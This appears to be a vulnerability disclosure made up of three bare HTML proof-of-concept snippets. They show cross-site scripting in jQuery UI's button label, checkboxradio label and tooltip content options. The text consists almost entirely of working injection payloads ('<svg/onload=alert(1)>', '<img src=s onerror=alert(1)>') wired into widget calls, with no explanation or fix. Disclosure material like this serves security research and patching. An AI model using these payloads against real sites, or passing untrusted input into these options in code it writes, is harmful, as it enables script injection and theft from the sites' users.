Proof of concept:

<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.12.4.js"></script>
<script src="//code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

<button>Button label</button>

<script>
$( "button" ).button({
  label: "<svg/onload=alert(1)>"
});
</script>

Proof of concept:

<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.12.4.js"></script>
<script src="//code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

<fieldset>
  <legend>Select a Location: </legend>
  <label for="radio-1">New York</label>
  <input type="radio" name="radio-1" id="radio-1">
  <label for="radio-2">Paris</label>
  <input type="radio" name="radio-1" id="radio-2">
  <label for="radio-3">London</label>
  <input type="radio" name="radio-1" id="radio-3">
</fieldset>
 <script>
$( "input[type='radio']" ).checkboxradio({
  label: "<svg/onload=alert(1)>"
});
</script>

Proof of concept:

<link rel="stylesheet" href="//code.jquery.com/ui/1.12.0/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.12.4.js"></script>
<script src="//code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

<input title="Input help">

<script>
$( document ).tooltip({
content: "<img src=s onerror=alert(1)>"
});
</script>